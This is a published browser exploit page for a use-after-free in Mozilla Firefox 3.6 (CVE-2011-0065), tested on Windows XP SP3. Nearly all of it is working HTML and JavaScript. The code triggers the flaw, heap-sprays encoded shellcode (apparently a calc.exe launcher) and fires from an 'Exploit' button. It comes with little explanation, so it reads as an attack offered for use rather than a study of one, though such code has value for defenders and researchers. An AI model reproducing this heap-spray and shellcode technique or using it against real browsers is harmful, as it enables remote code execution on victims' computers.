Mozilla Firefox 3.6 is prone to a use-after-free vulnerability in OBJECT mChannel that allows an attacker to execute arbitrary code.
63492638eb8f2df03de0dbf8395d34343238283febf9e9f33e6d25a0779b6e12<!--
Exploit Author: Juan Sacco
Name: Mozilla Firefox 3.6 mChannel ( Universal )
Description: Mozilla Firefox 3.6 is prone to an use-after-free
vulnerability in OBJECT mChannel that allows an attacker to execute
arbitrary code.
Tested on Windows XP SP3
CVE: 2011-0065
-->
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# Title: Firefox 3.6 ( Universal )
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<object id="exploit" ></object>
<script>
function exploit() {
var foo=document.getElementById("exploit");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new
Object,0);
var vftable = unescape("\x00% u0c10");
var shellcode =
unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc");
var vtable = unescape("%u0c0c%u0c0c");
while(vtable.length < 0x10000) {vtable += vtable;}
var heapblock =
shellcode+vtable.substring(0,0x10000/2-shellcode.length*2);
while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;}
var finalspray = heapblock.substring(0,0x80000 - shellcode.length -
0x24/2 - 0x4/2 - 0x2/2);
var heapspray = new Array()
for (var i=0;i<0x100;i++){
heapspray[i] = finalspray+shellcode;
}
foo.data="";}
</script>
<input type=button value="Exploit" onclick="exploit()" />
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